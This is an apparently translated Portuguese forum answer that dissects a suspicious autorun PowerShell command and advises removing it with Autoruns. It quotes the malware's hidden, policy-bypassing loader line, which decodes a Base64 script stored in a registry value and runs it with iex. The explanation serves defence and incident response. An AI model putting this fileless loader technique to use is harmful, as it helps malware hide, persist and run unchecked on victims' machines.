Isso é quase certamente malicioso.
Vamos desmontar. Ele invoca o Windows PowerShell (um intérprete de comandos legítimo e muito útil) sem personalizações de usuário ( -noprofile
) em uma janela oculta ( -windowstyle hidden
), permitindo que a sessão do PowerShell execute scripts independentemente da política do sistema ( -executionpolicy bypass
). Em seguida, ele executa este comando:
iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))
gp
significa Get-ItemProperty
, que pode ser usado para recuperar valores de chaves do Registro, e é isso que está sendo feito aqui. Aparentemente, há uma chave chamada SAJELFZIXHQTV
na sua chave atual do usuário Software\Classes
. Essa chave tem um valor chamado ADUXJH
, os dados em que o gp
é recuperado. Esses dados (evidentemente, uma string) são então Base64 - codificados em uma matriz de bytes ( FromBase64String
). Esses bytes são então interpretados como texto ASCII ( ASCII.GetString
). Estranhamente, há um ponto extra no original, o que deve causar um erro porque o objeto ASCII
não tem um membro chamado Get
. Dado que o processo continua, suspeito que o ponto extra seja apenas um erro de transcrição.
Se esse erro não estivesse presente, o texto resultante seria chamado como um comando do PowerShell ( iex
). Em suma, este comando é projetado para carregar um script codificado do Registro e executá-lo. Para ver exatamente o que está sendo executado, copie o comando acima do PowerShell menos o iex
e com o ponto extra removido em um prompt do PowerShell e execute-o. Ele irá imprimir o comando que seria invocado. Quase certamente não será benigno.
Você pode impedir que essa entrada seja iniciada automaticamente pela ferramenta Autoruns . No entanto, é provavelmente uma boa ideia fazer uma limpeza mais profunda da sua máquina, já que ela provavelmente está infectada. Por favor, veja Como posso remover spyware, malware, adware, vírus, trojans ou rootkits mal-intencionados do meu PC?